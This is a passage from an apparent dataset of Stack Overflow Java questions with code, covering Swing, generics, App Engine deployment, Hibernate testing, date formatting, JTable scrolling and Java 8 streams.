extends JDialog { private String player ; private char [ ] wordChar ; private JButton [ ] buttons ; private int level ; private int score ; private int livesLeft ; private int missedGuess ; void newGame ( ) { level = 0 ; score = 0 ; livesLeft = 10 ; missedGuess = 0 ; //label1 : // while ( livesLeft ! = 0 ) { //get random WORD from LIST Word hiddenWord = new Word ( ) ; //put random word in Array wordChar = new char [ hiddenWord.getHiddenWord ( ) .length ( ) ] ; wordChar = hiddenWord.getHiddenWord ( ) .toCharArray ( ) ; buttons = new JButton [ wordChar.length ] ; for ( int i = 0 ; i < wordChar.length ; i++ ) { JButton guessWord = new JButton ( `` `` ) ; guessWord.setFont ( new Font ( `` Microsoft Sans Serif '' , 1 , 18 ) ) ; guessWord.setEnabled ( false ) ; jPanel3.setLayout ( new GridLayout ( 1 , wordChar.length ) ) ; jPanel3.add ( guessWord ) ; buttons [ i ] = guessWord ; } checkLetter ( ) ; } void checkLetter ( ) { int checker = 0 ; while ( checker ! = wordChar.length ) { jPanel1.setLayout ( new GridLayout ( 3 , 9 , 3 , 5 ) ) ; for ( char buttonChar = ' a ' ; buttonChar < = ' z ' ; buttonChar++ ) { String buttonText = String.valueOf ( buttonChar ) ; final JButton letterButton = new JButton ( buttonText ) ; letterButton.addActionListener ( new ActionListener ( ) { public void actionPerformed ( ActionEvent e ) { String actionCommand = e.getActionCommand ( ) ; for ( int j = 0 ; j < wordChar.length ; j++ ) { String text = String.valueOf ( wordChar [ j ] ) ; if ( actionCommand.equals ( text ) ) { buttons [ j ] .setText ( text ) ; checker++ ; //THIS CODE IS NOT POSSIBLE ! ! ! ! } } } } ) ; jPanel1.add ( letterButton ) ; } checker++ ; } }",Inner Classes in Java +Java,"In the Java specification ( http : //docs.oracle.com/javase/specs/jls/se7/html/jls-15.html # jls-15.9 ) , new has the following form : What is the purpose of the first optional type argument list after the new ? I was not able to find it from my read of section 15.9 ( all references to type arguments list seem to refer to the list after the type/identifier ) . Testing out random bits on the standard Java compiler yields confusing results : On theses simple examples , it does n't seem like this first parameter list does anything meaningful although it parses and checks for the validity of its arguments .","ClassInstanceCreationExpression : :=| new TypeArguments_opt TypeDeclSpecifier TypeArgumentsOrDiamond_opt ( ArgumentListopt ) ClassBodyopt| Primary . new TypeArguments_opt Identifier TypeArgumentsOrDiamond_opt ( ArgumentListopt ) ClassBodyopt public class Foo < T > { } // ... Foo < Integer > t1 = new < Integer > Foo < Integer > ( ) ; // worksFoo < Integer > t2 = new < Integer > Foo ( ) ; // works -- unchecked warning missing the type arg after FooFoo < Integer > t3 = new < Boolean > Foo < Integer > ( ) ; // worksFoo < Integer > t4 = new < Float , Boolean > Foo < Integer > ( ) ; // worksFoo < Integer > t5 = new < NotDefined > Foo < Integer > ( ) ; // fails -- NotDefined is undefined",What is the purpose of type arguments in constructor call following new ? +Java,"Look at following class ( please note , that it is not a singleton ) : What object will be created first a or b ? Is there a possibility of determine the order of creating objects ?",public MyClass ( ) { @ Inject private A a ; @ Inject private B b ; },Order of creating @ Inject objects +Java,"I wrote following code.When I execute it , get following errorWhy is it so ? ... though main method is defined why system is not reading/ recognizing it ?","class String { private final java.lang.String s ; public String ( java.lang.String s ) { this.s = s ; } public java.lang.String toString ( ) { return s ; } public static void main ( String [ ] args ) { String s = new String ( `` Hello world '' ) ; System.out.println ( s ) ; } } The program compiled successfully , but main class was not found . Main class should contain method : public static void main ( String [ ] args ) .",Java Puzzler- What is the reason ? +Java,"tl ; dr : Why does this work locally but not when I deploy to my live App Engine project ? I 'm trying to create a barebones servlet-based web app using the Java 11 version of App Engine . I 'm updating a few projects from Java 8 to Java 11 following this guide . I 'm also using this guide and this example . My goal is to use Jetty to run a very simple web app that serves a single static HTML file and a single servlet file in App Engine.My web app works fine when I run locally : When I run these commands , both my index.html and my servlet URL work fine.But when I deploy to my live site : ... the command succeeds , but when I navigate to my live URL , I get this error for both the HTML file and the servlet URL : `` Error : Server Error . The server encountered an error and could not complete your request . Please try again in 30 seconds . '' If I look in the logs in the Cloud console , I see this error : Something is off with my setup , but I do n't see anything obviously wrong.Here are the files in my project : pom.xmlsrc/main/appengine/app.yamlsrc/main/java/io/happycoding/Main.javasrc/main/webapp/index.htmlsrc/main/java/io/happycoding/servlets/HelloWorldServlet.javaI 'm guessing something is off with how I 'm setting the classpath of the live site , but I do n't see anything obviously wrong.With the packaging property in pom.xml set to war , I get a .war file with these contents : If I change the packaging property in pom.xml to jar , then I get a .jar file with these contents : And I get this error in the logs for the live site instead : That feels like progress , but then I also get 404 errors in my live server , so I feel pretty stuck.What do I need to change about my above setup to make it work both locally and on my live server ? Edit : I can see the following files in the App Engine debugger : I tried adding this to my pom.xml file : Then I see these file in the App Engine debugger : But I still get the same error.I believe that the problem is caused by my Main class being inside a .war file which has no effect on the classpath , which is why it ca n't be found.How do I package my project up so it works locally and on my live server ?","mvn clean installmvn exec : java -Dexec.args= '' target/app-engine-hello-world-1.war '' mvn package appengine : deploy Error : Could not find or load main class io.happycoding.MainCaused by : java.lang.ClassNotFoundException : io.happycoding.Main < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > io.happycoding < /groupId > < artifactId > app-engine-hello-world < /artifactId > < version > 1 < /version > < packaging > war < /packaging > < properties > < ! -- App Engine currently supports Java 11 -- > < maven.compiler.source > 11 < /maven.compiler.source > < maven.compiler.target > 11 < /maven.compiler.target > < project.build.sourceEncoding > UTF-8 < /project.build.sourceEncoding > < failOnMissingWebXml > false < /failOnMissingWebXml > < /properties > < dependencies > < dependency > < groupId > javax.servlet < /groupId > < artifactId > javax.servlet-api < /artifactId > < version > 4.0.1 < /version > < /dependency > < dependency > < groupId > org.eclipse.jetty < /groupId > < artifactId > jetty-server < /artifactId > < version > 9.4.31.v20200723 < /version > < /dependency > < dependency > < groupId > org.eclipse.jetty < /groupId > < artifactId > jetty-webapp < /artifactId > < version > 9.4.31.v20200723 < /version > < type > jar < /type > < /dependency > < dependency > < groupId > org.eclipse.jetty < /groupId > < artifactId > jetty-util < /artifactId > < version > 9.4.31.v20200723 < /version > < /dependency > < dependency > < groupId > org.eclipse.jetty < /groupId > < artifactId > jetty-annotations < /artifactId > < version > 9.4.31.v20200723 < /version > < type > jar < /type > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.codehaus.mojo < /groupId > < artifactId > exec-maven-plugin < /artifactId > < version > 3.0.0 < /version > < executions > < execution > < goals > < goal > java < /goal > < /goals > < /execution > < /executions > < configuration > < mainClass > io.happycoding.Main < /mainClass > < /configuration > < /plugin > < plugin > < groupId > com.google.cloud.tools < /groupId > < artifactId > appengine-maven-plugin < /artifactId > < version > 2.2.0 < /version > < configuration > < projectId > happy-coding-gcloud < /projectId > < version > 1 < /version > < /configuration > < /plugin > < /plugins > < /build > < /project > runtime : java11entrypoint : 'java -cp `` * '' io.happycoding.Main app-engine-hello-world-1.war ' package io.happycoding ; import org.eclipse.jetty.server.Server ; import org.eclipse.jetty.servlet.ServletContextHandler ; import org.eclipse.jetty.webapp.Configuration.ClassList ; import org.eclipse.jetty.webapp.WebAppContext ; import io.happycoding.servlets.HelloWorldServlet ; /** Simple Jetty Main that can execute a WAR file when passed as an argument . */public class Main { public static void main ( String [ ] args ) throws Exception { if ( args.length ! = 1 ) { System.err.println ( `` Usage : need a relative path to the war file to execute '' ) ; System.exit ( 1 ) ; } System.setProperty ( `` org.eclipse.jetty.util.log.class '' , `` org.eclipse.jetty.util.log.StrErrLog '' ) ; System.setProperty ( `` org.eclipse.jetty.LEVEL '' , `` INFO '' ) ; Server server = new Server ( 8080 ) ; WebAppContext webapp = new WebAppContext ( ) ; webapp.setContextPath ( `` / '' ) ; webapp.setWar ( args [ 0 ] ) ; ClassList classlist = ClassList.setServerDefault ( server ) ; // Enable Annotation Scanning . classlist.addBefore ( `` org.eclipse.jetty.webapp.JettyWebXmlConfiguration '' , `` org.eclipse.jetty.annotations.AnnotationConfiguration '' ) ; server.setHandler ( webapp ) ; server.join ( ) ; } } < ! DOCTYPE html > < html > < head > < meta charset= '' UTF-8 '' > < title > Google Cloud Hello World < /title > < /head > < body > < h1 > Google Cloud Hello World < /h1 > < p > This is a sample HTML file . Click < a href= '' /hello '' > here < /a > to see content served from a servlet. < /p > < p > Learn more at < a href= '' https : //happycoding.io '' > HappyCoding.io < /a > . < /p > < /body > < /html > package io.happycoding.servlets ; import java.io.IOException ; import javax.servlet.annotation.WebServlet ; import javax.servlet.http.HttpServlet ; import javax.servlet.http.HttpServletRequest ; import javax.servlet.http.HttpServletResponse ; @ WebServlet ( `` /hello '' ) public class HelloWorldServlet extends HttpServlet { @ Override public void doGet ( HttpServletRequest request , HttpServletResponse response ) throws IOException { response.setContentType ( `` text/html ; '' ) ; response.getOutputStream ( ) .println ( `` < h1 > Hello world ! < /h1 > '' ) ; } } index.htmlMETA-INF/MANIFEST.MFMETA-INF/maven/io.happycoding/app-engine-hello-world/pom.propertiesMETA-INF/maven/io.happycoding/app-engine-hello-world/pom.xmlWEB-INF/classes/io/happycoding/Main.classWEB-INF/classes/io/happycoding/servlets/HelloWorldServlet.classWEB-INF/classes/lib/asm-7.3.1.jarWEB-INF/classes/lib/asm-analysis-7.3.1.jarWEB-INF/classes/lib/asm-commons-7.3.1.jarWEB-INF/classes/lib/asm-tree-7.3.1.jarWEB-INF/classes/lib/javax.annotation-api-1.3.jarWEB-INF/classes/lib/javax.servlet-api-4.0.1.jarWEB-INF/classes/lib/jetty-annotations-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-http-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-io-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-jndi-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-plus-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-security-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-server-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-servlet-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-util-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-webapp-9.4.31.v20200723.jarWEB-INF/classes/lib/jetty-xml-9.4.31.v20200723.jar io/happycoding/Main.classio/happycoding/servlets/HelloWorldServlet.classMETA-INF/MANIFEST.MFMETA-INF/maven/io.happycoding/app-engine-hello-world/pom.propertiesMETA-INF/maven/io.happycoding/app-engine-hello-world/pom.xml Error : Unable to initialize main class io.happycoding.Main Caused by : java.lang.NoClassDefFoundError : org/eclipse/jetty/server/Handler < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-dependency-plugin < /artifactId > < version > 3.1.2 < /version > < executions > < execution > < id > copy < /id > < phase > prepare-package < /phase > < goals > < goal > copy-dependencies < /goal > < /goals > < configuration > < outputDirectory > $ { project.build.directory } /appengine-staging < /outputDirectory > < /configuration > < /execution > < /executions > < /plugin >",App Engine Java 11 could not find or load main class on live server +Java,This is a very basic question about the Java optimization.If you have a simple for loop to iterate through an array and use array.length in the header of the loop rather than evaluating it before so that you do it only once ( which is what I almost always do ) : Can the statement be optimized so that the JVM knows whether the array is changing for the duration of the loop so that it does not reevaluate array.length every time ?,for ( int i=0 ; i < array.length ; i++ ) { ... },Java optimizer and redundant array evaluations +Java,"I 'm using mockito to write some tests , and I 'm using the following bit of code : This compiles and runs just fine , except for the warning that `` captor '' is raw type and I should replace it with something like : The problem is that LinkedList < String > .class does n't exist , so the right side of the assignment will never compile.Assuming that suppressing the warning is inelegant , is there an elegant solution ? If not , why does the compile warn me about something I ca n't really fix ?",ArgumentCaptor < LinkedList > captor = ArgumentCaptor.forClass ( LinkedList.class ) ; ArgumentCaptor < LinkedList < String > > captor = ArgumentCaptor.forClass ( LinkedList < String > .class ) ;,Why does the java compiler give `` rawtypes '' warning for class literal ? +Java,"In my Wikipedia reader app for Android , I 'm downloading an article 's html by using HttpURLConnection , some users report that they are unable to see articles , instead they see some css , so it seems like their carrier is somehow preprocessing the html before it 's downloaded , while other wikipedia readers seem to work fine.Example url : http : //en.m.wikipedia.org/wiki/Black_Moon_ ( album ) My method : I 'm unable to reproduce this problem , but there must be a way to get around that ? I even disabled redirects by setting setInstanceFollowRedirects to 'false ' but it did n't help.Am I missing something ? Example of what the users are reporting : http : //pastebin.com/1E3Hn2yX",public static String downloadString ( String url ) throws Exception { StringBuilder downloadedHtml = new StringBuilder ( ) ; HttpURLConnection urlConnection = null ; String line = null ; BufferedReader rd = null ; try { URL targetUrl = new URL ( url ) ; urlConnection = ( HttpURLConnection ) targetUrl.openConnection ( ) ; if ( url.toLowerCase ( ) .contains ( `` /special '' ) ) urlConnection.setInstanceFollowRedirects ( true ) ; else urlConnection.setInstanceFollowRedirects ( false ) ; //read the result from the server rd = new BufferedReader ( new InputStreamReader ( urlConnection.getInputStream ( ) ) ) ; while ( ( line = rd.readLine ( ) ) ! = null ) downloadedHtml.append ( line + '\n ' ) ; } catch ( Exception e ) { AppLog.e ( `` An exception occurred while downloading data.\r\n : `` + e ) ; e.printStackTrace ( ) ; } finally { if ( urlConnection ! = null ) { AppLog.i ( `` Disconnecting the http connection '' ) ; urlConnection.disconnect ( ) ; } if ( rd ! = null ) rd.close ( ) ; } return downloadedHtml.toString ( ) ; },Weird behavior when downloading html using HttpURLConnection +Java,"I would like to store a type called App inside a set . App needs to be an enum that implements the App interface.I have defined the interface like so ... This is almost working , for example , you can not do this ... However , you can do this ... Which is wrong . I only want enums to be able to implement this interface , how can I enforce this ?",Set < App > myApps ; interface App < T extends Enum < T > > { } class MyClass implements Application < MyClass > { } enum MyEnum implements Application < MyEnum > { } class Myclass implements Application < MyEnum > { },Enforcing the implementer of an interface to be an enum +Java,I want to create JUnit test with hardcoded Hibernate configuration values : When I run the code I get this error : Can you give me some advice how I can solve this issue ? Looks like this custom configuration is not valid.EDIT : Pom file content with my configuration : I 'm pasting here the content for the POM.xml file .,"public class UserProvisionTest { public static SessionFactory buildTestSessionFactory ( ) { Configuration configuration = new Configuration ( ) ; configuration.setProperty ( `` hibernate.show_sql '' , `` true '' ) ; configuration.setProperty ( `` hibernate.connection.url '' , `` jdbc : sqlite : /Users/Desktop/testDB.sqlite '' ) ; configuration.setProperty ( `` hibernate.dialect '' , `` org.hibernate.dialect.SQLiteDialect '' ) ; configuration.setProperty ( `` hibernate.connection.driver_class '' , `` org.sqlite.JDBC '' ) ; configuration.setProperty ( `` hibernate.connection.release_mode '' , `` auto '' ) ; configuration.setProperty ( `` hibernate.connection.autoReconnect '' , `` true '' ) ; configuration.setProperty ( `` hibernate.hbm2ddl.auto '' , `` update '' ) ; configuration.setProperty ( `` hibernate.current_session_context_class '' , `` thread '' ) ; configuration.addAnnotatedClass ( SystemUserModel.class ) ; configuration.configure ( ) ; System.setProperty ( Context.INITIAL_CONTEXT_FACTORY , `` org.apache.naming.java.javaURLContextFactory '' ) ; System.setProperty ( Context.URL_PKG_PREFIXES , `` org.apache.naming '' ) ; return configuration.buildSessionFactory ( ) ; } @ Test public void createUsersTest ( ) throws Exception { System.out.println ( `` Creating default users '' ) ; Session session = buildTestSessionFactory ( ) .getCurrentSession ( ) ; Transaction tr = session.beginTransaction ( ) ; // some query session.flush ( ) ; tr.commit ( ) ; } } org.hibernate.service.spi.ServiceException : Unable to create requested service [ org.hibernate.engine.jdbc.env.spi.JdbcEnvironment ] at org.hibernate.service.internal.AbstractServiceRegistryImpl.createService ( AbstractServiceRegistryImpl.java:271 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService ( AbstractServiceRegistryImpl.java:233 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure ( JdbcServicesImpl.java:51 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.apache.maven.surefire.junit4.JUnit4TestSet.execute ( JUnit4TestSet.java:53 ) at org.apache.maven.surefire.booter.SurefireStarter.invokeProvider ( SurefireStarter.java:175 ) at org.apache.maven.surefire.booter.SurefireStarter.runSuitesInProcessWhenForked ( SurefireStarter.java:107 ) at org.apache.maven.surefire.booter.ForkedBooter.main ( ForkedBooter.java:68 ) Caused by : org.hibernate.engine.jndi.JndiException : Unable to lookup JNDI name [ java : comp/env/jdbc/sqliteDB ] at org.hibernate.engine.jndi.internal.JndiServiceImpl.locate ( JndiServiceImpl.java:100 ) at org.hibernate.engine.jdbc.connections.internal.DatasourceConnectionProviderImpl.configure ( DatasourceConnectionProviderImpl.java:98 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService ( StandardServiceRegistryImpl.java:94 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.initiateService ( StandardServiceRegistryImpl.java:88 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.createService ( AbstractServiceRegistryImpl.java:259 ) ... 44 moreCaused by : javax.naming.NameNotFoundException : Name java : comp is not bound in this Context < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/maven-v4_0_0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > com.web.package < /groupId > < artifactId > Web_package < /artifactId > < packaging > war < /packaging > < version > 1.0 < /version > < name > Web_package < /name > < dependencies > < dependency > < groupId > org.glassfish < /groupId > < artifactId > javax.faces < /artifactId > < version > 2.3.3 < /version > < /dependency > < dependency > < groupId > org.hibernate < /groupId > < artifactId > hibernate-core < /artifactId > < version > 5.2.12.Final < /version > < /dependency > < ! -- SQLite JDBC library -- > < dependency > < groupId > org.xerial < /groupId > < artifactId > sqlite-jdbc < /artifactId > < version > 3.20.1 < /version > < /dependency > < dependency > < groupId > junit < /groupId > < artifactId > junit < /artifactId > < version > 4.12 < /version > < scope > test < /scope > < type > jar < /type > < /dependency > < dependency > < groupId > javax < /groupId > < artifactId > javaee-web-api < /artifactId > < version > 8.0 < /version > < scope > provided < /scope > < /dependency > < ! -- JBoss/Weld Refrence Implementation for CDI on a Servlet Container -- > < dependency > < groupId > org.jboss.weld.servlet < /groupId > < artifactId > weld-servlet < /artifactId > < version > 2.4.5.Final < /version > < type > jar < /type > < /dependency > < dependency > < groupId > com.sun.mail < /groupId > < artifactId > javax.mail < /artifactId > < version > 1.6.0 < /version > < type > jar < /type > < /dependency > < dependency > < groupId > com.sun.el < /groupId > < artifactId > el-ri < /artifactId > < version > 1.0 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.apache.shiro < /groupId > < artifactId > shiro-core < /artifactId > < version > 1.4.0 < /version > < /dependency > < dependency > < groupId > org.apache.shiro < /groupId > < artifactId > shiro-web < /artifactId > < version > 1.4.0 < /version > < /dependency > < dependency > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < version > 1.2 < /version > < /dependency > < dependency > < groupId > org.omnifaces < /groupId > < artifactId > omnifaces < /artifactId > < version > 2.6.5 < /version > < /dependency > < dependency > < groupId > org.primefaces < /groupId > < artifactId > primefaces < /artifactId > < version > 6.1 < /version > < /dependency > < dependency > < groupId > javax.servlet < /groupId > < artifactId > jstl < /artifactId > < version > 1.2 < /version > < /dependency > < dependency > < groupId > javax.servlet < /groupId > < artifactId > javax.servlet-api < /artifactId > < version > 4.0.0 < /version > < /dependency > < dependency > < groupId > org.apache.tomcat < /groupId > < artifactId > catalina < /artifactId > < version > 6.0.53 < /version > < scope > test < /scope > < /dependency > < ! -- < dependency > < groupId > org.primefaces.themes < /groupId > < artifactId > all-themes < /artifactId > < version > 1.0.10 < /version > < /dependency > -- > < dependency > < groupId > com.github.gwenn < /groupId > < artifactId > sqlite-dialect < /artifactId > < version > d285e22851 < /version > < /dependency > < dependency > < groupId > com.jolbox < /groupId > < artifactId > bonecp < /artifactId > < version > 0.8.0.RELEASE < /version > < /dependency > < dependency > < groupId > com.google.code.findbugs < /groupId > < artifactId > jsr305 < /artifactId > < version > 3.0.2 < /version > < /dependency > < dependency > < groupId > org.mockito < /groupId > < artifactId > mockito-all < /artifactId > < version > 1.10.19 < /version > < scope > test < /scope > < /dependency > < /dependencies > < build > < finalName > Web_package < /finalName > < plugins > < plugin > < artifactId > maven-war-plugin < /artifactId > < version > 3.2.0 < /version > < configuration > < packagingExcludes > WEB-INF/web.xml < /packagingExcludes > < /configuration > < /plugin > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.7.0 < /version > < configuration > < source > 1.8 < /source > < target > 1.8 < /target > < encoding > $ { project.build.sourceEncoding } < /encoding > < /configuration > < /plugin > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-resources-plugin < /artifactId > < version > 3.0.2 < /version > < configuration > < encoding > $ { project.build.sourceEncoding } < /encoding > < /configuration > < /plugin > < /plugins > < /build > < properties > < project.build.sourceEncoding > UTF-8 < /project.build.sourceEncoding > < /properties > < repositories > ... ... . < repository > < id > jitpack.io < /id > < url > https : //jitpack.io < /url > < /repository > < /repositories > < /project >",Hardcode Hibernate values in Java code +Java,Can someone explain why is SimpleDateFormat substracting 1 second to my parsed date when setting the time zone with SimpleTimeZone ? Is this a jdk bug ?,"import java.text.ParseException ; import java.text.SimpleDateFormat ; import java.util.SimpleTimeZone ; import java.util.TimeZone ; public class SimpleDateFormatTest { public static void main ( String [ ] args ) throws ParseException { SimpleDateFormat format = new SimpleDateFormat ( `` yyyy-MM-dd'T'HH : mm : ss ' Z ' '' ) ; format.setTimeZone ( TimeZone.getTimeZone ( `` UTC '' ) ) ; System.out.println ( format.parse ( `` 2016-02-24T17:31:00Z '' ) ) ; // prints Wed Feb 24 17:31:00 UTC 2016 format.setTimeZone ( new SimpleTimeZone ( SimpleTimeZone.UTC_TIME , `` UTC '' ) ) ; System.out.println ( format.parse ( `` 2016-02-24T17:31:00Z '' ) ) ; // Wed Feb 24 17:30:59 UTC 2016 } }",Why is java 's SimpleDateFormat substracting 1 second from my UTC date when using SimpleTimeZone +Java,"When I call JTable # scrollRectToVisible , the row I want to show is hidden underneath the header in certain situations.The rest of this question only makes sense when using the following code . This is a very simply program which I use to illustrate the problem . It shows a UI containing a JSplitPane with in the upper part some control buttons , and the lower part contains a JTable wrapped in a JScrollPane ( see screenshots at the bottom of this post ) .Unwanted behaviorRun the above codePress the `` Select row 10 '' : row 10 is selected and visiblePress the `` Select row 45 '' : row 45 is selected and visibleClick the `` Hide bottom '' button . This will adjust the divider of the JSplitPane so that only the upper panel is visibleClick the `` Select row 10 '' button . You see of course nothing because the table is not yet visibleClick the `` Show bottom '' button . The divider is adjusted , but row 10 is hidden underneath the header . I expected it to be visible without needing to scroll.Wanted behaviorRepeat the steps from above , but make sure the `` Make table invisible before adjusting divider '' checkbox is selected . This will call setVisible ( false ) on the JScrollPane around the JTable before hiding the bottom panel.By doing this , in the last step row 10 will be visible as the top most row , which is what I want . I just do not want to turn the scrollpane invisible : in my real application , the divider is adjusted in an animated way and as such you want to keep the table visible during the animation.ScreenshotsUnwanted : row 10 is invisible after performing the aforementioned stepsWanted : row 10 is visible after performing the aforementioned stepsEnvironmentI do not think it will matter , but just in case : I am using JDK7 on a Linux system .","import java.awt.EventQueue ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.event.ItemEvent ; import java.awt.event.ItemListener ; import javax.swing . * ; import javax.swing.table.DefaultTableModel ; import javax.swing.table.TableModel ; public class DividerTest { private final JSplitPane fSplitPane = new JSplitPane ( JSplitPane.VERTICAL_SPLIT ) ; private final JTable fTable ; private final JScrollPane fScrollPane ; private boolean fHideTable = false ; public DividerTest ( ) { fTable = new JTable ( createTableModel ( 50 ) ) ; fScrollPane = new JScrollPane ( fTable ) ; fSplitPane.setBottomComponent ( fScrollPane ) ; fSplitPane.setTopComponent ( createControlsPanel ( ) ) ; fSplitPane.setDividerLocation ( 0.5 ) ; } private JPanel createControlsPanel ( ) { JPanel result = new JPanel ( ) ; result.setLayout ( new BoxLayout ( result , BoxLayout.PAGE_AXIS ) ) ; final JCheckBox checkBox = new JCheckBox ( `` Make table invisible before adjusting divider '' ) ; checkBox.addItemListener ( new ItemListener ( ) { @ Override public void itemStateChanged ( ItemEvent e ) { fHideTable = checkBox.isSelected ( ) ; } } ) ; result.add ( checkBox ) ; JButton upperRow = new JButton ( `` Select row 10 '' ) ; upperRow.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { selectRowInTableAndScroll ( 10 ) ; } } ) ; result.add ( upperRow ) ; JButton lowerRow = new JButton ( `` Select row 45 '' ) ; lowerRow.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { selectRowInTableAndScroll ( 45 ) ; } } ) ; result.add ( lowerRow ) ; JButton hideBottom = new JButton ( `` Hide bottom '' ) ; hideBottom.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { if ( fHideTable ) { fScrollPane.setVisible ( false ) ; } fSplitPane.setDividerLocation ( 1.0 ) ; } } ) ; result.add ( hideBottom ) ; JButton showBottom = new JButton ( `` Show bottom '' ) ; showBottom.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { fScrollPane.setVisible ( true ) ; fSplitPane.setDividerLocation ( 0.5 ) ; } } ) ; result.add ( showBottom ) ; return result ; } private void selectRowInTableAndScroll ( int aRowIndex ) { fTable.clearSelection ( ) ; fTable.getSelectionModel ( ) .addSelectionInterval ( aRowIndex , aRowIndex ) ; fTable.scrollRectToVisible ( fTable.getCellRect ( aRowIndex , 0 , true ) ) ; } public JComponent getUI ( ) { return fSplitPane ; } private TableModel createTableModel ( int aNumberOfRows ) { Object [ ] [ ] data = new Object [ aNumberOfRows ] [ 1 ] ; for ( int i = 0 ; i < aNumberOfRows ; i++ ) { data [ i ] = new String [ ] { `` Row '' + i } ; } return new DefaultTableModel ( data , new String [ ] { `` Column '' } ) ; } public static void main ( String [ ] args ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JFrame frame = new JFrame ( `` Test frame '' ) ; frame.getContentPane ( ) .add ( new DividerTest ( ) .getUI ( ) ) ; frame.pack ( ) ; frame.setVisible ( true ) ; frame.setDefaultCloseOperation ( WindowConstants.EXIT_ON_CLOSE ) ; } } ) ; } }",JTable # scrollRectToVisible in combination with JSplitPlane shows the wrong row +Java,"I 've asked this question already here in the comments : How to round a number to n decimal places in Java.I 'm trying to convert a double into a string with a fixed number of decimal places . In the question above the solution is quite simple.When usingI get the expected result , a number rounded to 4 digits : But when there are zeros after the decimal dot : This will return : It looks like the function is ignoring the leading zeros in the digits.I know that I could just define a new DecimalFormat but I want to understand this issue . And learn a bit about the syntax .","String.format ( `` % .4g '' , 0.1234712 ) 0.1235 String.format ( `` % .4g '' , 0.000987654321 ) 0,0009877",String.format ( ) rounding a double with leading zeros in digits - Java +Java,"I´m trying to write a recursive method that returns true , if the count of digits of n displayed as a binary number is even and false if it is odd.I don´t really get how I can count in a recursive method , if it returns a boolean.I think part of the solution is , to check whether the number is a powers of 2 : If the exponent is odd then the count of digits is even , if it is even then the count of digits is uneven . But I can not pass a value with my boolean function , right ? Some examples for what should be returned : This is a question I failed on an algorithms test in university and I still can´t figure out how to solve it . I hope someone can give me a hint on how to solve this one ...",static boolean isPowers2 ( long n ) { if ( n % 2 ! = 0 ) return false ; if ( n / 2 == 1 ) return true ; return isPowers2 ( n / 2 ) ; } // evenCount ( 0B0 ) is false // evenCount ( 0B1 ) is false // evenCount ( 0B10 ) is true // evenCount ( 0B11 ) is true // evenCount ( 0B100 ) is false // evenCount ( 0B111 ) is false // evenCount ( 0B1000 ) is true // evenCount ( 0B1010 ) is true // evenCount ( 0B10000 ) is false // evenCount ( 0B10110 ) istfalse,Java boolean-algorithm to check wheter number of digits is even +Java,"I 'm learning a lot more about Java 8 and its functional capabilities , and I wanted to do some more practice with it . Say , for example , I have the following imperative code which is for wrapping a circle around the bounds of the screen : How could I go about trying to `` Functionalize '' it ? Maybe some pseudo-code ? It seems to me that mutability and state seem inherent in this example.Is functional programming not a good fit for game development ? I love the both , so I 'm trying to combine them .",if ( circle.getPosition ( ) .getX ( ) > width + circle.getRadius ( ) ) { circle.getPosition ( ) .setX ( -circle.getRadius ( ) ) ; } else if ( circle.getPosition ( ) .getX ( ) < -circle.getRadius ( ) ) { circle.getPosition ( ) .setX ( width + circle.getRadius ( ) ) ; } if ( circle.getPosition ( ) .getY ( ) > height + circle.getRadius ( ) ) { circle.getPosition ( ) .setY ( -circle.getRadius ( ) ) ; } else if ( circle.getPosition ( ) .getY ( ) < -circle.getRadius ( ) ) { circle.getPosition ( ) .setY ( height + circle.getRadius ( ) ) ; },Translating Imperative Java to Functional Java ( A Game ) +Java,"Lately I came across a problem during working with nested collections ( values of Maps inside a List ) : This list in my case contains 10-20 Maps . At some point I had to replace value Calculation of key description to Rating . So I come up with this solution : It would be quite fine and efficient solution if all maps in this list will contain key-Value pair [ `` description '' , `` Calculation '' ] . Unfortunately , I know that there will be only one such pair in the whole List < Map < String , Object > > . The question is : Is there a better ( more efficient ) solution of finding and replacing this one value , instead of iterating through all List elements using Java-8 streams ? Perfection would be to have it done in one stream without any complex/obfuscating operations on it .","List < Map < String , Object > > items items.forEach ( e - > e.replace ( `` description '' , '' Calculation '' , '' Rating '' ) ) ;",Handling nested Collections with Java 8 streams +Java,"I think I 'm starting to understand this topic , but not completely . Can somebody explain to me on this example 